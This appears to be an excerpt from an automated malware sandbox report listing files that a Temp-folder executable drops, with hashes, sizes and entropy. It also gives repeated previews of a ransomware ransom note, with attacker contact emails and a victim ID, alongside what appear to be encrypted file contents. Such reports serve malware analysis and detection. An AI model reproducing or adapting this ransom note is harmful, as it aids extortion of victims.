                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865008975583125
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EI9BirG0NpspmX83U/jNkEOVxQAlP/8Z1n+4j0yXe/C1t7t5O10bYL7HJgDMa:r0zx5/C/BPUZ1/0Iest7tYabYnCDx
                                                                                                                                        MD5:4C0AA89ABF289AB6662EB3C91EEC5502
                                                                                                                                        SHA1:799BD85D79B40CE6EACC08ABEA893AFD90135D2C
                                                                                                                                        SHA-256:311D586BBF87E78171EA0D38198CBF443BD51E869764770B8357189A4F547EFF
                                                                                                                                        SHA-512:C6EF37FC082C8E55C31EE637E3CDB76878A016CD9258EB3F2BDEA30A0E6A6EC8468FC17146D9CFA751E9C26FB46995254B0B7C739C390844629A593484D8FA00
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.|-.Ut.....P.AtW.M...Ue...%..........hf..C...`..Q...#G.]..)_..H.j\...j.&".. ....N....*/...;N......V..U.....x....'...s...{..|...%u..|..c.....MuG..]O...K:..]..H.5...tT.V.$..|.I.jUos...N.?af.z......5,C.6.Ly..wy`...G=..Q.."...#...+.+5.G.[v.d..Am;..../.?.A....\B.sS...V<....0.<...v...X~..."._......l.m.....Bs.t.e..>v...KN7..x.wH..[..A..l.....bL....s.,4...ZF...+|s..m@^~..:...Cy...../..iP....J.E.........;NF...=.m].-..4.q.<%;.A.j..{..m.&..:..9Gu...K.!..N..A.}W..OR.........tY.8..*.v...U..w.{w....I.#.t)...r...@.6...%..s.!t!...K........6..D.FQ..}1.n...g5..O..Sh~..S^.aL}.......A`TR..k....^.....[.....6....c.:L..../.o.oDM.;n......v/..i.... <..Fw.....3Iy1.....`w..8x4.6.,......B.].FM.goE...........f.\..{*Q.+..$!.i.........!..}..N.p.....:..0...........0..:|RC..&.M..v.lOA........l?.JZ.....`D.=O....)..)...d.'....i.5...........Q..v.{.J_...(......,.j.M.f].&.....s..Yg.5....4....LPF. .{.(.."WQ...h..^..C..L}r."...=z../..7$..S kl8!d......F......o...{C..t.vWI..R'
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865008975583125
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:EI9BirG0NpspmX83U/jNkEOVxQAlP/8Z1n+4j0yXe/C1t7t5O10bYL7HJgDMa:r0zx5/C/BPUZ1/0Iest7tYabYnCDx
                                                                                                                                        MD5:4C0AA89ABF289AB6662EB3C91EEC5502
                                                                                                                                        SHA1:799BD85D79B40CE6EACC08ABEA893AFD90135D2C
                                                                                                                                        SHA-256:311D586BBF87E78171EA0D38198CBF443BD51E869764770B8357189A4F547EFF
                                                                                                                                        SHA-512:C6EF37FC082C8E55C31EE637E3CDB76878A016CD9258EB3F2BDEA30A0E6A6EC8468FC17146D9CFA751E9C26FB46995254B0B7C739C390844629A593484D8FA00
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.|-.Ut.....P.AtW.M...Ue...%..........hf..C...`..Q...#G.]..)_..H.j\...j.&".. ....N....*/...;N......V..U.....x....'...s...{..|...%u..|..c.....MuG..]O...K:..]..H.5...tT.V.$..|.I.jUos...N.?af.z......5,C.6.Ly..wy`...G=..Q.."...#...+.+5.G.[v.d..Am;..../.?.A....\B.sS...V<....0.<...v...X~..."._......l.m.....Bs.t.e..>v...KN7..x.wH..[..A..l.....bL....s.,4...ZF...+|s..m@^~..:...Cy...../..iP....J.E.........;NF...=.m].-..4.q.<%;.A.j..{..m.&..:..9Gu...K.!..N..A.}W..OR.........tY.8..*.v...U..w.{w....I.#.t)...r...@.6...%..s.!t!...K........6..D.FQ..}1.n...g5..O..Sh~..S^.aL}.......A`TR..k....^.....[.....6....c.:L..../.o.oDM.;n......v/..i.... <..Fw.....3Iy1.....`w..8x4.6.,......B.].FM.goE...........f.\..{*Q.+..$!.i.........!..}..N.p.....:..0...........0..:|RC..&.M..v.lOA........l?.JZ.....`D.=O....)..)...d.'....i.5...........Q..v.{.J_...(......,.j.M.f].&.....s..Yg.5....4....LPF. .{.(.."WQ...h..^..C..L}r."...=z../..7$..S kl8!d......F......o...{C..t.vWI..R'
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.867671143223922
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4r+6fhXRCJS+/6cp6t11wCzTcvPY+Gn9sKR/Ow8HPfHk8ZU8FcLSlwoCc8:4r+6fhXRuSt86t11wCkP29Z2vfpZALSs
                                                                                                                                        MD5:13C504BD81D50256683470F1950EF3E0
                                                                                                                                        SHA1:D2027D7F8C7E30D171062323F477FA665834B2F3
                                                                                                                                        SHA-256:88F7D32D88B3F6843FC9D74A9427C29ABB5BBE728F9D4369F328DF20FE50C04D
                                                                                                                                        SHA-512:F24BE3BDF64EBB1162751553692E14055FDE1CA97CC7104E0F2224C25D95004EEFE1B88AC153537714462E81F3477B2133F2EDED50E155128EFEBD2A4C19C449
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....9..q..>:C..#..c!a.6....4.1..>T.#...N8...38...\........n!...rkM.-T..L.*..4l.E.TH.b@.]........;....._IDF...3.J.aK.L.i.K...s7.....1 .L....:yl...]....L...@iL.%.\.......c.B..y....&..|;.-...H.-......n....r..'.9JZ..uN ....wK%.eU,.....T......K.v`....)......U.sv...o.....)...?d.ni.f....E.........{...X...0Mj....5...|...y.....&9.....oo..y.......{....m.$.D..,.$..)'.P......{dx....xl*...H..4.....E......&2k.....G.Xp.p!s...y..t.0..0.?...i....YcDT.l.{.=...sz....!.O.dJ...}.....2^.w..e<.%..E.....S9.K...=..>...3.][.A.....i.....c-N.`^........Z...u..A..]q.."!.c..B.7........w...!..5.v.....Jr.y...W...J.d.....v.8.s..Z.J...<.7./....i~A.7.{3.OQueb...zY.....GUb..l7C.z.x..]..I...Vk*.^#.T........R/...uM.....4..>.....}6...y.s.x...P.2....:..c.2..SV0hY.w.@...~.H....;.M..."".'0a......}-...rF....O..m.@"..D.j.Xl.zE.>.LA@..F.a.Y...D..uN.=.r.%.....VL=..U.>}......m....&..........Q.8j...].+.0..p..F.......,..L.c... G.$.o.vq.iA.0F......)..N...'....k...-...BR...x...\...S
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.867671143223922
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:4r+6fhXRCJS+/6cp6t11wCzTcvPY+Gn9sKR/Ow8HPfHk8ZU8FcLSlwoCc8:4r+6fhXRuSt86t11wCkP29Z2vfpZALSs
                                                                                                                                        MD5:13C504BD81D50256683470F1950EF3E0
                                                                                                                                        SHA1:D2027D7F8C7E30D171062323F477FA665834B2F3
                                                                                                                                        SHA-256:88F7D32D88B3F6843FC9D74A9427C29ABB5BBE728F9D4369F328DF20FE50C04D
                                                                                                                                        SHA-512:F24BE3BDF64EBB1162751553692E14055FDE1CA97CC7104E0F2224C25D95004EEFE1B88AC153537714462E81F3477B2133F2EDED50E155128EFEBD2A4C19C449
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....9..q..>:C..#..c!a.6....4.1..>T.#...N8...38...\........n!...rkM.-T..L.*..4l.E.TH.b@.]........;....._IDF...3.J.aK.L.i.K...s7.....1 .L....:yl...]....L...@iL.%.\.......c.B..y....&..|;.-...H.-......n....r..'.9JZ..uN ....wK%.eU,.....T......K.v`....)......U.sv...o.....)...?d.ni.f....E.........{...X...0Mj....5...|...y.....&9.....oo..y.......{....m.$.D..,.$..)'.P......{dx....xl*...H..4.....E......&2k.....G.Xp.p!s...y..t.0..0.?...i....YcDT.l.{.=...sz....!.O.dJ...}.....2^.w..e<.%..E.....S9.K...=..>...3.][.A.....i.....c-N.`^........Z...u..A..]q.."!.c..B.7........w...!..5.v.....Jr.y...W...J.d.....v.8.s..Z.J...<.7./....i~A.7.{3.OQueb...zY.....GUb..l7C.z.x..]..I...Vk*.^#.T........R/...uM.....4..>.....}6...y.s.x...P.2....:..c.2..SV0hY.w.@...~.H....;.M..."".'0a......}-...rF....O..m.@"..D.j.Xl.zE.>.LA@..F.a.Y...D..uN.=.r.%.....VL=..U.>}......m....&..........Q.8j...].+.0..p..F.......,..L.c... G.$.o.vq.iA.0F......)..N...'....k...-...BR...x...\...S
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865482863685112
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:yTvy4BP0T5d/u36DAXOr2jPAkn8M7jCFRIjLmPrjxi3a/Kt/rKw:uK4Bq5d/u360ZM9M7j/jqPrVGJGw
                                                                                                                                        MD5:345D33556D59FFF8AB1156D694D51291
                                                                                                                                        SHA1:4984A67D36B2791567A873C014ED5E9FFD7FAD0D
                                                                                                                                        SHA-256:2A3181257A5F209125A60EFA7B6A52915377357AD9D1D57EA8A3D7948F4D9259
                                                                                                                                        SHA-512:7FD232F49BC4ED90401D5012BA5287B1F479EE432508FDCBB48440D248C6242A5835A342A1D3C1FB830843D2A298FB80F5BDECC5BCE84576BCD927A877074407
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..@3.........z%l....d...f.a...j../N..a`.6..T....H.\..cK6|(y..}Ze2.z.:.+...:B..1...;C..>.k.w.UH..m..U......]....j......._.....k......d..B.xz...D....)..B..........H....Tep......4.!B:....C...!Q..".H.O.4.b.7.*.dv...Fd....\b...tW..:...b.....c....{}...%.....|R...^.s3.B...x>.H.vz..3....ex#u2.&.h...3..?.R....."6I.......3......=..;|.1.I.B B.H>..q.h..8..ct=q'`"Az...6....5...$....kKzTF=..}O.l%v....../..v)..GF./........:....On~..m5u.).#CXK.9....\.....&[.+0..!.s......P`.L..O...\....x@.!.q9f?5.....M..m.$.....qU.FT.;...}&...r/.0).Jo.{.v?.#..........V04S.NU.b.....o8.wo6.....PCs.&.....'>e..W.J.`..dE...hd._..;Lqk...;.%VX..Tk.J.T.=.7..7..-...2..Wf.f...Z(O..S..gwbD..d.....a..^.w...iI.8#.'.VxJw.t..d.f.u.Q..H.ZZ....S=.r..C~...g>Rp.....t....|.P...2P.]E....U.F....u(...`c#..*x(...[...!......W...8.M.Qm.#.SC.Z......P..D...Qd0.i.9.X{.8....WY.S..........#.....E.3.D..*T#....K........Emq...u}...h|d...El....'i.....!..B...c.d.t.o..0.!S..#..w.4P.X........|T.....S...j..G.+.L.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.865482863685112
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:yTvy4BP0T5d/u36DAXOr2jPAkn8M7jCFRIjLmPrjxi3a/Kt/rKw:uK4Bq5d/u360ZM9M7j/jqPrVGJGw
                                                                                                                                        MD5:345D33556D59FFF8AB1156D694D51291
                                                                                                                                        SHA1:4984A67D36B2791567A873C014ED5E9FFD7FAD0D
                                                                                                                                        SHA-256:2A3181257A5F209125A60EFA7B6A52915377357AD9D1D57EA8A3D7948F4D9259
                                                                                                                                        SHA-512:7FD232F49BC4ED90401D5012BA5287B1F479EE432508FDCBB48440D248C6242A5835A342A1D3C1FB830843D2A298FB80F5BDECC5BCE84576BCD927A877074407
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..@3.........z%l....d...f.a...j../N..a`.6..T....H.\..cK6|(y..}Ze2.z.:.+...:B..1...;C..>.k.w.UH..m..U......]....j......._.....k......d..B.xz...D....)..B..........H....Tep......4.!B:....C...!Q..".H.O.4.b.7.*.dv...Fd....\b...tW..:...b.....c....{}...%.....|R...^.s3.B...x>.H.vz..3....ex#u2.&.h...3..?.R....."6I.......3......=..;|.1.I.B B.H>..q.h..8..ct=q'`"Az...6....5...$....kKzTF=..}O.l%v....../..v)..GF./........:....On~..m5u.).#CXK.9....\.....&[.+0..!.s......P`.L..O...\....x@.!.q9f?5.....M..m.$.....qU.FT.;...}&...r/.0).Jo.{.v?.#..........V04S.NU.b.....o8.wo6.....PCs.&.....'>e..W.J.`..dE...hd._..;Lqk...;.%VX..Tk.J.T.=.7..7..-...2..Wf.f...Z(O..S..gwbD..d.....a..^.w...iI.8#.'.VxJw.t..d.f.u.Q..H.ZZ....S=.r..C~...g>Rp.....t....|.P...2P.]E....U.F....u(...`c#..*x(...[...!......W...8.M.Qm.#.SC.Z......P..D...Qd0.i.9.X{.8....WY.S..........#.....E.3.D..*T#....K........Emq...u}...h|d...El....'i.....!..B...c.d.t.o..0.!S..#..w.4P.X........|T.....S...j..G.+.L.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856500163663127
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:amkPVz7IlE9t+HLBExu6WXxTicSWO4kumi9GE4lTJb8L6sBuZAOw:amklclE9t+HB6WdkWZku0E4VJb85ynw
                                                                                                                                        MD5:576889032830079B77466D85A854AC5B
                                                                                                                                        SHA1:9E30B13F02A486A74A3FB9558D77B6E801B28C7A
                                                                                                                                        SHA-256:8D7322487EA4880F063BFFAA185A7B8FBE3854A7A8C3F50B4A756D1B5D7647CB
                                                                                                                                        SHA-512:4F61B70BC852A73D5090B9B81B2FC9A919D4E61EFE52ACE329333CCDA1920C304FCE29940E34D5032003F34F9734206047096301495FDC2B1263568AB98AA9BF
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:b..dw!r.a..'Ar].......U.U.:.3S.....m.|.....:6.!.c.Z....@...p....J.C6......F..T.4z{.{....2>..KU..ARY.........o.R...W....z%`......5!.8....h-S=........v...E.^.U...c..`u....<z...aJ.C..*.v{.2q.C.Ig^...|..P7L.#.....wk...4....|..(.]<./.N.<....?_*.'3../.T....[.>.9..:....'..:..(....|.E....~..R3..45\U..[...Y.i..d.).4S.....V/..J...O.9y`!.7.w.Y.-..-.T}....o.^.ib.f.H.s...L$*.A:,.@...D.:..R.'.|.....7...l...:.3i...Vt...X`..g?#.^..D.#...1J....Z........e..;zF..;X.%.=..Fu_..u.L.Wh..J...X.L.?.V.6S).....(.6.....H<.9.ZMo...).N...`*m..F...O...~..../......_W5.^`._Z.D..6....n7A,%......N..z.9f......0i ..{.......~...D.K.UL.(S.LG.vZy.......l~.....O.J.B^..ns..x..nz...Eyh.QOy1......#u.,|....|.....r.%..[.z.+.4...%.}'.%._sBi.......].&...w....]}PP.c..l..pe.O...S.c.c...w.!i ../......?A..6..UD...Oj...9...\.GO..j=uE....n.?.^...e....<.t..C......I.1lb.'g...5...7v!..+V......M.d[.i6L.Xf.N..%t.V....].6.Q..]..>!%{]..[..... .C..U...?......[..8....rJ7$....p....?N.T..Q.h.#..W.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.856500163663127
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:amkPVz7IlE9t+HLBExu6WXxTicSWO4kumi9GE4lTJb8L6sBuZAOw:amklclE9t+HB6WdkWZku0E4VJb85ynw
                                                                                                                                        MD5:576889032830079B77466D85A854AC5B
                                                                                                                                        SHA1:9E30B13F02A486A74A3FB9558D77B6E801B28C7A
